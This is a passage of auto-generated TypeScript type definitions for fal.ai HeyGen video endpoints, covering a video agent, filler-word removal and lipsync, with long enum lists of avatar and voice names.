Front': 'Tito Coat Front', + 'Tito Coat Full Side': 'Tito Coat Full Side', + 'Tito Coat Side 2': 'Tito Coat Side 2', + 'Tito Coat Side': 'Tito Coat Side', + 'Tito Painter Front': 'Tito Painter Front', + 'Tito Painter Full Side': 'Tito Painter Full Side', + 'Tito Painter Side': 'Tito Painter Side', + 'Tito Painter Sitting Front': 'Tito Painter Sitting Front', + 'Tito Painter Sitting Side': 'Tito Painter Sitting Side', + 'Travis in Polo Shirt': 'Travis in Polo Shirt', + 'Travis in Gray Suit': 'Travis in Gray Suit', + 'Travis in Black Suit': 'Travis in Black Suit', + 'Trevor in Plaid Shirt': 'Trevor in Plaid Shirt', + 'Trevor in Blue Shirt': 'Trevor in Blue Shirt', + 'Trevor in Blue Suit': 'Trevor in Blue Suit', + 'Trevor in Suit': 'Trevor in Suit', + 'Tuba Business Chair Front': 'Tuba Business Chair Front', + 'Tuba Business Chair Side': 'Tuba Business Chair Side', + 'Tuba Business Front': 'Tuba Business Front', + 'Tuba Business Side': 'Tuba Business Side', + 'Tuba Business Sofa Front': 'Tuba Business Sofa Front', + 'Tuba Business Sofa Side': 'Tuba Business Sofa Side', + 'Tuba Casual Front': 'Tuba Casual Front', + 'Tuba Casual Side': 'Tuba Casual Side', + 'Tuba Casual Sitting Front': 'Tuba Casual Sitting Front', + 'Tuba Casual Sitting Side': 'Tuba Casual Sitting Side', + 'Tuba Macbook Front': 'Tuba Macbook Front', + 'Tuba Macbook Side': 'Tuba Macbook Side', + 'Veit Office Front': 'Veit Office Front', + 'Veit Office Side': 'Veit Office Side', + 'Veit Sofa Front': 'Veit Sofa Front', + 'Veit Sofa Side': 'Veit Sofa Side', + 'Vernon Office Front 2': 'Vernon Office Front 2', + 'Vernon Office Front': 'Vernon Office Front', + 'Vernon Office Side 2': 'Vernon Office Side 2', + 'Vernon Office Side': 'Vernon Office Side', + 'Verena Office Front': 'Verena Office Front', + 'Verena Office Side': 'Verena Office Side', + 'Verena Sofa Front': 'Verena Sofa Front', + 'Verena Sofa Side': 'Verena Sofa Side', + 'Vernon (Upper Body)': 'Vernon (Upper Body)', + 'Vernon Lounge Front 2': 'Vernon Lounge Front 2', + 'Vernon Lounge Side 2': 'Vernon Lounge Side 2', + 'Vernon Lounge Side': 'Vernon Lounge Side', + 'Vince (Upper Body)': 'Vince (Upper Body)', + 'Vince Business Sofa Front': 'Vince Business Sofa Front', + 'Vince Business Training Front': 'Vince Business Training Front', + 'Vince Business Training Side 2': 'Vince Business Training Side 2', + 'Vince Business Training Side': 'Vince Business Training Side', + 'Vince Sofa Casual Front 2': 'Vince Sofa Casual Front 2', + 'Vince Sofa Casual Front': 'Vince Sofa Casual Front', + 'Vince Sofa Casual Side 2': 'Vince Sofa Casual Side 2', + 'Vince Sofa Casual Side': 'Vince Sofa Casual Side', + 'Violante Brown Suit Front 2': 'Violante Brown Suit Front 2', + 'Violante Brown Suit Front ': 'Violante Brown Suit Front ', + 'Violante Business Sitting Front': 'Violante Business Sitting Front', + 'Violante Business Sitting Side': 'Violante Business Sitting Side', + 'Violante Casual Sitting Front ': 'Violante Casual Sitting Front ', + 'Violante Casual Sitting Side': 'Violante Casual Sitting Side', + 'Violante Sport Front 2': 'Violante Sport Front 2', + 'Violante Sport Front': 'Violante Sport Front', + 'Violante Sport Side': 'Violante Sport Side', + 'Violante Sport Sitting Side': 'Violante Sport Sitting Side', + 'Violante Suit Front': 'Violante Suit Front', + 'Vivianna in Black shirt': 'Vivianna in Black shirt', + 'Wade in Black Suit': 'Wade in Black Suit', + 'Wade in Black Jacket': 'Wade in Black Jacket', + 'Wade in Gray Jacket': 'Wade in Gray Jacket', + 'Yola Active Speaking Front': 'Yola Active Speaking Front', + 'Yola Active Speaking Side': 'Yola Active Speaking Side', + 'Yola Business Front': 'Yola Business Front', + 'Yola Business Side': 'Yola Business Side', + 'Yola Calm Speaking Front': 'Yola Calm Speaking Front', + 'Yola Calm Speaking Side': 'Yola Calm Speaking Side', + 'Yola Casual Front': 'Yola Casual Front', + 'Yola Casual Side': 'Yola Casual Side', + 'Yola Employee Badge Front': 'Yola Employee Badge Front', + 'Yola Employee Badge Side': 'Yola Employee Badge Side', + 'Zosia in Blue blazer': 'Zosia in Blue blazer', + 'Zosia in Green dress': 'Zosia in Green dress', + 'Zosia in Khaki blazer': 'Zosia in Khaki blazer', + 'Zosia in White dress': 'Zosia in White dress', + 'Zosia in Yellow shirt': 'Zosia in Yellow shirt', + 'Austin in Suit': 'Austin in Suit', + 'Austin in Blue Casual Suit': 'Austin in Blue Casual Suit', + 'Austin in Black Jacket': 'Austin in Black Jacket', + 'Austin in Blue Suit': 'Austin in Blue Suit', + 'Candace in Pink Blazer (Upper Body)': 'Candace in Pink Blazer (Upper Body)', + 'Chad in Blue Shirt (Upper Body)': 'Chad in Blue Shirt (Upper Body)', + 'Daisy in Suit': 'Daisy in Suit', + 'Daisy in Shirt': 'Daisy in Shirt', + 'Daisy in Dress': 'Daisy in Dress', + 'Daisy in T-shirt': 'Daisy in T-shirt', + 'Francis in Blazer (Upper Body)': 'Francis in Blazer (Upper Body)', + Matthew: 'Matthew', + 'Matthew in Suit': 'Matthew in Suit', + 'Matthew in Flowery Shirt': 'Matthew in Flowery Shirt', + 'Matthew in Grey Sweater': 'Matthew in Grey Sweater', + 'Nik in Black Shirt': 'Nik in Black Shirt', + 'Nik in Blue Sweater': 'Nik in Blue Sweater', + 'Tyler in Casual Suit': 'Tyler in Casual Suit', + 'Tyler in Shirt': 'Tyler in Shirt', + 'Tyler in Suit': 'Tyler in Suit', +} as const + +export type VideoAgentConfigAvatarEnumKey = + (typeof videoAgentConfigAvatarEnum)[keyof typeof videoAgentConfigAvatarEnum] + +export type VideoAgentConfig = { + /** + * @description Video orientation + * @default 'portrait' + * @type string | undefined + */ + orientation?: VideoAgentConfigOrientationEnumKey + /** + * @description Optional avatar name to use + * @default 'Adriana SuitSofa Front' + * @example Adriana SuitSofa Front + * @type string | undefined + */ + avatar?: VideoAgentConfigAvatarEnumKey + /** + * @description Approximate duration in seconds (minimum 5). Suggested presets: 30, 60, or 90 seconds. + * @example 30 + * @example 60 + * @example 90 + */ + duration?: number | null +} + +export type InputFalAiHeygenV2VideoAgent = { + /** + * @description Natural language prompt describing the video to generate. Include details about style, visual elements, and desired length for best results. + * @example Create a 15-second explainer video about fal.ai Video Workflows. + * Target audience: Developers, AI engineers, and creative tech teams + * Brand colors: Teal, purple, and pink accents + * + * Opening script: + * "Most video models just generate clips—but fal.ai powers your entire production pipeline." + * + * Add animated text overlays highlighting: + * + * Sub-second inference + * + * Multi-model chaining (e.g., FLUX to Kling) + * + * Custom LoRA integration + * + * Production-ready API + * @type string + */ + prompt: string + /** + * @description Video configuration options + * @type object | undefined + */ + config?: VideoAgentConfig + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileDd59A8Af = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiHeygenV2VideoAgent = { + /** + * @description The generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a908e47/INRshxAq8GRlGCPo5txxU_output.mp4"} + * @type object + */ + video: FileDd59A8Af +} + +export type InputFalAiHeygenV3FillerWordRemoval = { + /** + * @description Optional display title for the removal job. + */ + title?: string | null + /** + * @description URL of the source video to remove filler words and long silences from. + * @example https://v3b.fal.media/files/b/0a9004c7/FM7Q5tK2b59x66Bl8HC0Z_vt-lang-en.mp4 + * @type string + */ + video_url: string +} + +export type FileE664F0D5 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiHeygenV3FillerWordRemoval = { + /** + * @description Number of filler-word segments removed. + * @type integer + */ + num_cuts: number + /** + * @description Duration of the source video in seconds. + * @type number + */ + original_duration: number + /** + * @description The cleaned video file. + * @type object + */ + video: FileE664F0D5 + /** + * @description Percentage of the source duration removed. + * @type number + */ + reduction_pct: number + /** + * @description Duration of the cleaned video in seconds. + * @type number + */ + output_duration: number +} + +/** + * @description Base request for lip-syncing a video (mode is determined by the endpoint). + * @type object + */ +export type InputFalAiHeygenV3LipsyncPrecision = { + /** + * @description Enhance the replacement audio quality. + * @default false + * @type boolean | undefined + */ + enable_speech_enhancement?: boolean + /** + * @description End time in seconds for partial lipsync. + */ + end_time?: number | null + /** + * @description Remove background music from the source video. + * @default false + * @type boolean | undefined + */ + disable_music_track?: boolean + /** + * @description Generate captions in the output video. + * @default false + * @type boolean | undefined + */ + enable_caption?: boolean + /** + * @description URL of the replacement audio file. + * @example https://v3b.fal.media/files/b/example/new_audio.mp3 + * @type string + */ + audio_url: string + /** + * @description Start time in seconds for partial lipsync. + */ + start_time?: number | null + /** + * @description Optional title for the lipsync job. + */ + title?: string | null + /** + * @description URL of the source video to lip-sync. + * @example https://v3b.fal.media/files/b/0a9004c7/FM7Q5tK2b59x66Bl8HC0Z_vt-lang-en.mp4 + * @type string + */ + video_url: string + /** + * @description Allow duration adjustment to match the new audio. + * @default true + * @type boolean | undefined + */ + enable_dynamic_duration?: boolean +} + +export type FileF5Ea6A32 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +/** + * @description Output from the Lipsync API. + * @type object + */ +export type OutputFalAiHeygenV3LipsyncPrecision = { + /** + * @description The lip-synced video file with new audio synced. + * @example {"url":"https://v3b.fal.media/files/b/0a8f61f5/SwAbhEQ0tNLthNkyTqCRn_overdubbed.mp4"} + * @type object + */ + video: FileF5Ea6A32 + /** + * @description Generated caption file when enable_caption is enabled and HeyGen returns one. + */ + caption_file?: FileF5Ea6A32 | null +} + +/** + * @description Base request for lip-syncing a video (mode is determined by the endpoint). + * @type object + */ +export type InputFalAiHeygenV3LipsyncSpeed = { + /** + * @description Enhance the replacement audio quality. + * @default false + * @type boolean | undefined + */ + enable_speech_enhancement?: boolean + /** + * @description End time in seconds for partial lipsync. + */ + end_time?: number | null + /** + * @description Remove background music from the source video. + * @default false + * @type boolean | undefined + */ + disable_music_track?: boolean + /** + * @description Generate captions in the output video. + * @default false + * @type boolean | undefined + */ + enable_caption?: boolean + /** + * @description URL of the replacement audio file. + * @example https://v3b.fal.media/files/b/example/new_audio.mp3 + * @type string + */ + audio_url: string + /** + * @description Start time in seconds for partial lipsync. + */ + start_time?: number | null + /** + * @description Optional title for the lipsync job. + */ + title?: string | null + /** + * @description URL of the source video to lip-sync. + * @example https://v3b.fal.media/files/b/0a9004c7/FM7Q5tK2b59x66Bl8HC0Z_vt-lang-en.mp4 + * @type string + */ + video_url: string + /** + * @description Allow duration adjustment to match the new audio. + * @default true + * @type boolean | undefined + */ + enable_dynamic_duration?: boolean +} + +export type FileC94300Fd = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +/** + * @description Output from the Lipsync API. + * @type object + */ +export type OutputFalAiHeygenV3LipsyncSpeed = { + /** + * @description The lip-synced video file with new audio synced. + * @example {"url":"https://v3b.fal.media/files/b/0a8f61f5/SwAbhEQ0tNLthNkyTqCRn_overdubbed.mp4"} + * @type object + */ + video: FileC94300Fd + /** + * @description Generated caption file when enable_caption is enabled and HeyGen returns one. + */ + caption_file?: FileC94300Fd | null +} + +export const inputFalAiHeygenV3VideoAgentOrientation = { + landscape: 'landscape', + portrait: 'portrait', +} as const + +export type InputFalAiHeygenV3VideoAgentOrientationKey = + (typeof inputFalAiHeygenV3VideoAgentOrientation)[keyof typeof inputFalAiHeygenV3VideoAgentOrientation] + +export const inputFalAiHeygenV3VideoAgentVoiceEnum = { + auto: 'auto', + 'Warm Pro Narrator': 'Warm Pro Narrator', + 'Chill Brian': 'Chill Brian', + Ivy: 'Ivy', + 'John Doe': 'John Doe', + 'Monika Sogam': 'Monika Sogam', + 'Hope ': 'Hope ', + 'Archer ': 'Archer ', + Brittney: 'Brittney', + Patrick: 'Patrick', + 'David Castlemore': 'David Castlemore', + 'Michael C': 'Michael C', + 'Adam Stone ': 'Adam Stone ', + Juniper: 'Juniper', + 'Cassidy ': 'Cassidy ', + 'Jessica Anne Bogart': 'Jessica Anne Bogart', + Arabella: 'Arabella', + Andrew: 'Andrew', + 'Spuds Oxley ': 'Spuds Oxley ', + 'Grace Elder': 'Grace Elder', + Helen: 'Helen', + 'Canyon Rivers': 'Canyon Rivers', + 'Derya - Lifelike - Excited 🤩': 'Derya - Lifelike - Excited 🤩', + 'Mellow Marcus': 'Mellow Marcus', + 'Jack Sterling - Broadcaster 🎙️': 'Jack Sterling - Broadcaster 🎙️', + 'Brenda - UGC - 1.mp4': 'Brenda - UGC - 1.mp4', + Reid: 'Reid', + Reagan: 'Reagan', + Terry: 'Terry', + Jenny: 'Jenny', + 'Radio Rick': 'Radio Rick', + Denise: 'Denise', + 'Tim in car - Excited 🤩': 'Tim in car - Excited 🤩', + Iskander: 'Iskander', + Thompson: 'Thompson', + 'Delicate Daisy - Excited 🤩': 'Delicate Daisy - Excited 🤩', + Kingston: 'Kingston', + 'George UGC 1': 'George UGC 1', + 'Bold Blake': 'Bold Blake', + Jane: 'Jane', + 'Expressive Evan': 'Expressive Evan', + 'Marianne - IA': 'Marianne - IA', + Aaron: 'Aaron', + 'Modern Recipe Host - Voice 1': 'Modern Recipe Host - Voice 1', + Willow: 'Willow', + 'Cute Chloe - Friendly 😊': 'Cute Chloe - Friendly 😊', + Rafael: 'Rafael', + 'June - Lifelike': 'June - Lifelike', + 'Crisp Chloe': 'Crisp Chloe', + 'Slick Simon': 'Slick Simon', + 'Nassim - Informative': 'Nassim - Informative', + 'Baritone Ben': 'Baritone Ben', + Maxwell: 'Maxwell', + 'Ellie Faye - Excited 🤩': 'Ellie Faye - Excited 🤩', + Milani: 'Milani', + 'Feisty Fiona - Excited 🤩': 'Feisty Fiona - Excited 🤩', + 'Professor Dean': 'Professor Dean', + 'Rose - UGC - 1.mp4': 'Rose - UGC - 1.mp4', + Shona: 'Shona', + 'Hudson Wilder': 'Hudson Wilder', + 'Ann - IA': 'Ann - IA', + 'Alastair Kensington': 'Alastair Kensington', + Oxley: 'Oxley', + Christina: 'Christina', + 'Andrew Rizz ': 'Andrew Rizz ', + Peyton: 'Peyton', + 'Gerardo - Outdoor': 'Gerardo - Outdoor', + 'Chloe - Lifelike': 'Chloe - Lifelike', + Stephanie: 'Stephanie', + 'Anthony - IA': 'Anthony - IA', + 'Signal - Voice 1': 'Signal - Voice 1', + Luca: 'Luca', + 'Lisa - Voice 1': 'Lisa - Voice 1', + 'T.W.Tucker': 'T.W.Tucker', + 'Jack Sullivan - Serious 😐': 'Jack Sullivan - Serious 😐', + Winter: 'Winter', + 'Mireia - Lifelike': 'Mireia - Lifelike', + Georgia: 'Georgia', + Stella: 'Stella', + 'Masha - Lifelike': 'Masha - Lifelike', + 'Charming Charles - Friendly 😊': 'Charming Charles - Friendly 😊', + Serenity: 'Serenity', + 'Annie - Excited': 'Annie - Excited', + Ralph: 'Ralph', + Bethany: 'Bethany', + Dominic: 'Dominic', + 'Mason Finn': 'Mason Finn', + Leena: 'Leena', + 'Veteran Victor': 'Veteran Victor', + Tamara: 'Tamara', + 'Nik Public': 'Nik Public', + 'Calm Chloe': 'Calm Chloe', + Sevik: 'Sevik', + Reilly: 'Reilly', + Raul: 'Raul', + 'Imposing Ian': 'Imposing Ian', + 'Relaxed Ray': 'Relaxed Ray', + 'Dexter - Professional': 'Dexter - Professional', + 'Relaxed Rick': 'Relaxed Rick', + Edwin: 'Edwin', + 'Rupert Blackwood': 'Rupert Blackwood', + Ginny: 'Ginny', + Hope: 'Hope', +} as const + +export type InputFalAiHeygenV3VideoAgentVoiceEnumKey = + (typeof inputFalAiHeygenV3VideoAgentVoiceEnum)[keyof typeof inputFalAiHeygenV3VideoAgentVoiceEnum] + +export const inputFalAiHeygenV3VideoAgentAvatarEnum = { + auto: 'auto', + 'Abigail (Upper Body)': 'Abigail (Upper Body)', + 'Abigail Office Front': 'Abigail Office Front', + 'Abigail Office Side': 'Abigail Office Side', + 'Abigail Sofa Front': 'Abigail Sofa Front', + 'Abigail Sofa Side': 'Abigail Sofa Side', + 'Aditya in Brown blazer': 'Aditya in Brown blazer', + 'Aditya in Blue blazer': 'Aditya in Blue blazer', + 'Aditya in Blue shirt': 'Aditya in Blue shirt', + 'Aditya in Blue t-shirt': 'Aditya in Blue t-shirt', + 'Aditya in Beige blazer': 'Aditya in Beige blazer', + 'Adrian in Blue Shirt': 'Adrian in Blue Shirt', + 'Adrian in Blue Suit': 'Adrian in Blue Suit', + 'Adrian in Blue Sweater': 'Adrian in Blue Sweater', + 'Adriana BizTalk Front': 'Adriana BizTalk Front', + 'Adriana BizTalk Side': 'Adriana BizTalk Side', + 'Adriana Business Front 2': 'Adriana Business Front 2', + 'Adriana Business Front ': 'Adriana Business Front ', + 'Adriana Business Side': 'Adriana Business Side', + 'Adriana Nurse Front 2': 'Adriana Nurse Front 2', + 'Adriana Nurse Front': 'Adriana Nurse Front', + 'Adriana Nurse Side 2': 'Adriana Nurse Side 2', + 'Adriana Nurse Side': 'Adriana Nurse Side', + 'Adriana Nurse Sitting Side': 'Adriana Nurse Sitting Side', + 'Adriana SuitSofa Front': 'Adriana SuitSofa Front', + Aiko: 'Aiko', + 'Albert in Blue Polo shirt': 'Albert in Blue Polo shirt', + 'Albert in Blue blazer': 'Albert in Blue blazer', + 'Albert in Blue shirt': 'Albert in Blue shirt', + 'Albert in Blue suit': 'Albert in Blue suit', + 'Albert in Khaki blazer': 'Albert in Khaki blazer', + 'Albert in White shirt': 'Albert in White shirt', + 'Amanda in Blue Shirt (Front)': 'Amanda in Blue Shirt (Front)', + 'Amanda in Blue Shirt (Left)': 'Amanda in Blue Shirt (Left)', + 'Amanda in Blue Shirt (Right)': 'Amanda in Blue Shirt (Right)', + 'Amanda in Grey Shirt (Front)': 'Amanda in Grey Shirt (Front)', + 'Amanda in Grey Shirt (Left)': 'Amanda in Grey Shirt (Left)', + 'Amanda in Grey Shirt (Right)': 'Amanda in Grey Shirt (Right)', + 'Amanda in Maintenance (Front)': 'Amanda in Maintenance (Front)', + 'Amanda in Maintenance (Left)': 'Amanda in Maintenance (Left)', + 'Amanda in Maintenance (Right)': 'Amanda in Maintenance (Right)', + 'Amelia Business Training Front 2': 'Amelia Business Training Front 2', + 'Amelia Business Training Front': 'Amelia Business Training Front', + 'Amelia Business Training Side 2': 'Amelia Business Training Side 2', + 'Amelia Business Training Side': 'Amelia Business Training Side', + 'Amelia Lounge Front 2': 'Amelia Lounge Front 2', + 'Amelia Lounge Front': 'Amelia Lounge Front', + 'Amelia Lounge Side 2': 'Amelia Lounge Side 2', + 'Amelia Lounge Side': 'Amelia Lounge Side', + 'Amelia Yoga Front 2': 'Amelia Yoga Front 2', + 'Amelia Yoga Front': 'Amelia Yoga Front', + 'Amelia Yoga Side 2': 'Amelia Yoga Side 2', + 'Amelia Yoga Side': 'Amelia Yoga Side', + 'Alex in Black Suit': 'Alex in Black Suit', + 'Alex in Jacket': 'Alex in Jacket', + 'Alex in White Coat': 'Alex in White Coat', + 'Alex in Yellow Sweater': 'Alex in Yellow Sweater', + 'Anja Office Front': 'Anja Office Front', + 'Anja Office Side ': 'Anja Office Side ', + 'Anja Sofa Front': 'Anja Sofa Front', + 'Anja Sofa Side ': 'Anja Sofa Side ', + 'Ann Business Front': 'Ann Business Front', + 'Ann Business Sitting': 'Ann Business Sitting', + 'Ann Casual Front': 'Ann Casual Front', + 'Ann Casual Lying': 'Ann Casual Lying', + 'Ann Casual Sitting 2': 'Ann Casual Sitting 2', + 'Ann Casual Sitting': 'Ann Casual Sitting', + 'Ann Doctor Sitting': 'Ann Doctor Sitting', + 'Ann Doctor Standing': 'Ann Doctor Standing', + 'Ann Sweater Front': 'Ann Sweater Front', + 'Ann Sweater Side': 'Ann Sweater Side', + 'Ann Therapist': 'Ann Therapist', + 'Anna in White T-shirt': 'Anna in White T-shirt', + 'Anna in Turtleneck T-shirt': 'Anna in Turtleneck T-shirt', + 'Anna in Brown T-shirt': 'Anna in Brown T-shirt', + 'Annelise in Dark blue dress': 'Annelise in Dark blue dress', + 'Annelise in Off white dress': 'Annelise in Off white dress', + 'Annelise in Sky blue dress': 'Annelise in Sky blue dress', + 'Annelise in White dress': 'Annelise in White dress', + 'Annelore in Blue blazer': 'Annelore in Blue blazer', + 'Annelore in Blue dress': 'Annelore in Blue dress', + 'Annelore in Red blazer': 'Annelore in Red blazer', + 'Annelore in Red sweater': 'Annelore in Red sweater', + 'Annelore in White shirt': 'Annelore in White shirt', + 'Annie in Grey Jacket': 'Annie in Grey Jacket', + 'Annie in White Shirt': 'Annie in White Shirt', + 'Annie in Tan Jacket': 'Annie in Tan Jacket', + 'Annie in Blue Casual': 'Annie in Blue Casual', + 'Annie in Light Blue': 'Annie in Light Blue', + 'Annie in Brown Shirt': 'Annie in Brown Shirt', + 'Annie in Black Shirt': 'Annie in Black Shirt', + 'Annie in Pink Suit': 'Annie in Pink Suit', + 'Annie in Grey Dress': 'Annie in Grey Dress', + 'Annie in Blue Vest': 'Annie in Blue Vest', + 'Annie in Black V-neck Shirt': 'Annie in Black V-neck Shirt', + 'Annie in Blue Suit': 'Annie in Blue Suit', + 'Annie Bar Sitting Front': 'Annie Bar Sitting Front', + 'Annie Bar Sitting Side': 'Annie Bar Sitting Side', + 'Annie Bar Standing Front 2': 'Annie Bar Standing Front 2', + 'Annie Bar Standing Front 3': 'Annie Bar Standing Front 3', + 'Annie Bar Standing Front': 'Annie Bar Standing Front', + 'Annie Bar Standing Side 2': 'Annie Bar Standing Side 2', + 'Annie Bar Standing Side 3': 'Annie Bar Standing Side 3', + 'Annie Bar Standing Side': 'Annie Bar Standing Side', + 'Annie Business Casual Standing Front 2': + 'Annie Business Casual Standing Front 2', + 'Annie Business Casual Standing Front': + 'Annie Business Casual Standing Front', + 'Annie Business Casual Standing Side 2': + 'Annie Business Casual Standing Side 2', + 'Annie Business Casual Standing Side': 'Annie Business Casual Standing Side', + 'Annie Casual Sitting Front 2': 'Annie Casual Sitting Front 2', + 'Annie Casual Sitting Front': 'Annie Casual Sitting Front', + 'Annie Casual Sitting Side 2': 'Annie Casual Sitting Side 2', + 'Annie Casual Sitting Side': 'Annie Casual Sitting Side', + 'Annie Casual Standing Front 2': 'Annie Casual Standing Front 2', + 'Annie Casual Standing Front': 'Annie Casual Standing Front', + 'Annie Casual Standing Side 2': 'Annie Casual Standing Side 2', + 'Annie Casual Standing Side': 'Annie Casual Standing Side', + 'Annie Desk Sitting Front 2': 'Annie Desk Sitting Front 2', + 'Annie Desk Sitting Front': 'Annie Desk Sitting Front', + 'Annie Desk Sitting Side 2': 'Annie Desk Sitting Side 2', + 'Annie Desk Sitting Side': 'Annie Desk Sitting Side', + 'Annie Lounge Standing Front': 'Annie Lounge Standing Front', + 'Annie Lounge Standing Side': 'Annie Lounge Standing Side', + 'Annie Office Sitting Front 2': 'Annie Office Sitting Front 2', + 'Annie Office Sitting Front': 'Annie Office Sitting Front', + 'Annie Office Sitting Side 2': 'Annie Office Sitting Side 2', + 'Annie Office Sitting Side': 'Annie Office Sitting Side', + 'Annie Office Standing Front': 'Annie Office Standing Front', + 'Annie Office Standing Side': 'Annie Office Standing Side', + 'Annie Sofa Sitting Front 3': 'Annie Sofa Sitting Front 3', + 'Annie Sofa Sitting Front': 'Annie Sofa Sitting Front', + 'Annie Sofa Sitting Side 2': 'Annie Sofa Sitting Side 2', + 'Annie Sofa Sitting Side 3': 'Annie Sofa Sitting Side 3', + 'Annie Sofa Sitting Side': 'Annie Sofa Sitting Side', + 'Annie Sofa Sitting Front 2': 'Annie Sofa Sitting Front 2', + 'Annie Studio Pink Sitting Front': 'Annie Studio Pink Sitting Front', + 'Annie Studio Pink Sitting Side': 'Annie Studio Pink Sitting Side', + 'Annie Studio Pink Standing Front': 'Annie Studio Pink Standing Front', + 'Annie Studio Pink Standing Side': 'Annie Studio Pink Standing Side', + 'Armando Casual Front': 'Armando Casual Front', + 'Armando Casual Side': 'Armando Casual Side', + 'Armando Suit Front': 'Armando Suit Front', + 'Armando Suit Side': 'Armando Suit Side', + 'Armando Sweater Front 2': 'Armando Sweater Front 2', + 'Armando Sweater Front': 'Armando Sweater Front', + 'Armando Sweater Side 2': 'Armando Sweater Side 2', + 'Armando Sweater Side': 'Armando Sweater Side', + 'Artur Office Front 2': 'Artur Office Front 2', + 'Artur Office Front': 'Artur Office Front', + 'Artur Office Side 2': 'Artur Office Side 2', + 'Artur Office Side': 'Artur Office Side', + 'Artur Sofa Casual Front 2': 'Artur Sofa Casual Front 2', + 'Artur Sofa Casual Front': 'Artur Sofa Casual Front', + 'Artur Sofa Casual Side 2': 'Artur Sofa Casual Side 2', + 'Artur Sofa Causal Side': 'Artur Sofa Causal Side', + 'Aubrey Sofa Side': 'Aubrey Sofa Side', + 'Aubrey (Upper Body)': 'Aubrey (Upper Body)', + 'Aubrey Night Scene Front': 'Aubrey Night Scene Front', + 'Aubrey Outdoor Sport Front': 'Aubrey Outdoor Sport Front', + 'Aubrey Outdoor Sport Side': 'Aubrey Outdoor Sport Side', + 'Aubrey Sofa Front': 'Aubrey Sofa Front', + 'August Casual Front 2': 'August Casual Front 2', + 'August Casual Front': 'August Casual Front', + 'August Cool Sitting': 'August Cool Sitting', + 'August Cool Style': 'August Cool Style', + 'August Employee Front': 'August Employee Front', + 'August Hoodies Front 2': 'August Hoodies Front 2', + 'August Hoodies Front': 'August Hoodies Front', + 'Bahar (Upper Body)': 'Bahar (Upper Body)', + 'Bahar Business Front': 'Bahar Business Front', + 'Bahar Business Side': 'Bahar Business Side', + 'Bahar Business Sitting Front': 'Bahar Business Sitting Front', + 'Bahar Business Sitting Side': 'Bahar Business Sitting Side', + 'Bahar Casual Sitting Front 2': 'Bahar Casual Sitting Front 2', + 'Bahar Casual Sitting Front': 'Bahar Casual Sitting Front', + 'Bahar Casual Sitting Side 2': 'Bahar Casual Sitting Side 2', + 'Bahar Casual Sitting Side': 'Bahar Casual Sitting Side', + 'Bahar Denim Casual Front': 'Bahar Denim Casual Front', + 'Bahar Denim Casual Side': 'Bahar Denim Casual Side', + 'Bahar Denim Front': 'Bahar Denim Front', + 'Bahar Denim Side': 'Bahar Denim Side', + 'Bahar Jacket Casual Front': 'Bahar Jacket Casual Front', + 'Bahar Jacket Casual Side': 'Bahar Jacket Casual Side', + 'Bahar Jacket Front': 'Bahar Jacket Front', + 'Bahar Jacket Side': 'Bahar Jacket Side', + 'Bahar Suit Front': 'Bahar Suit Front', + 'Bahar Suit Side': 'Bahar Suit Side', + 'Bastien in Blue T-shirt': 'Bastien in Blue T-shirt', + 'Bastien in Blue blazer': 'Bastien in Blue blazer', + 'Bastien in Blue shirt': 'Bastien in Blue shirt', + 'Bastien in White shirt': 'Bastien in White shirt', + 'Blanka Lounge Front': 'Blanka Lounge Front', + 'Blanka Lounge Side': 'Blanka Lounge Side', + 'Blanka Outdoor Business Front': 'Blanka Outdoor Business Front', + 'Blanka Outdoor Business Side': 'Blanka Outdoor Business Side', + 'Blanka Outdoor Reading Front': 'Blanka Outdoor Reading Front', + 'Blanka Outdoor Reading Side': 'Blanka Outdoor Reading Side', + 'Blanka Picnic Front': 'Blanka Picnic Front', + 'Blanka Picnic Side': 'Blanka Picnic Side', + 'Bojan Business Training Front 2': 'Bojan Business Training Front 2', + 'Bojan Business Training Front': 'Bojan Business Training Front', + 'Bojan Business Training Side 2': 'Bojan Business Training Side 2', + 'Bojan Business Training Side': 'Bojan Business Training Side', + 'Bojan Lounge Front 2': 'Bojan Lounge Front 2', + 'Bojan Lounge Front': 'Bojan Lounge Front', + 'Bojan Lounge Side 2': 'Bojan Lounge Side 2', + 'Bojan Lounge Side': 'Bojan Lounge Side', + 'Bojan Sport Front 2': 'Bojan Sport Front 2', + 'Bojan Sport Front': 'Bojan Sport Front', + 'Bojan Sport Side 2': 'Bojan Sport Side 2', + 'Bojan Sport Side': 'Bojan Sport Side', + 'Bradley in Blue Polo (Front)': 'Bradley in Blue Polo (Front)', + 'Bradley in Blue Polo (Left)': 'Bradley in Blue Polo (Left)', + 'Bradley in Blue Polo (Right)': 'Bradley in Blue Polo (Right)', + 'Bradley in Blue Shirt (Front)': 'Bradley in Blue Shirt (Front)', + 'Bradley in Blue Shirt (Left)': 'Bradley in Blue Shirt (Left)', + 'Bradley in Blue Shirt (Right)': 'Bradley in Blue Shirt (Right)', + 'Bradley in Doctor (Front)': 'Bradley in Doctor (Front)', + 'Bradley in Doctor (Left)': 'Bradley in Doctor (Left)', + 'Bradley in Doctor (Right)': 'Bradley in Doctor (Right)', + 'Brandon in Grey Suit': 'Brandon in Grey Suit', + 'Brandon in Blue Sweater': 'Brandon in 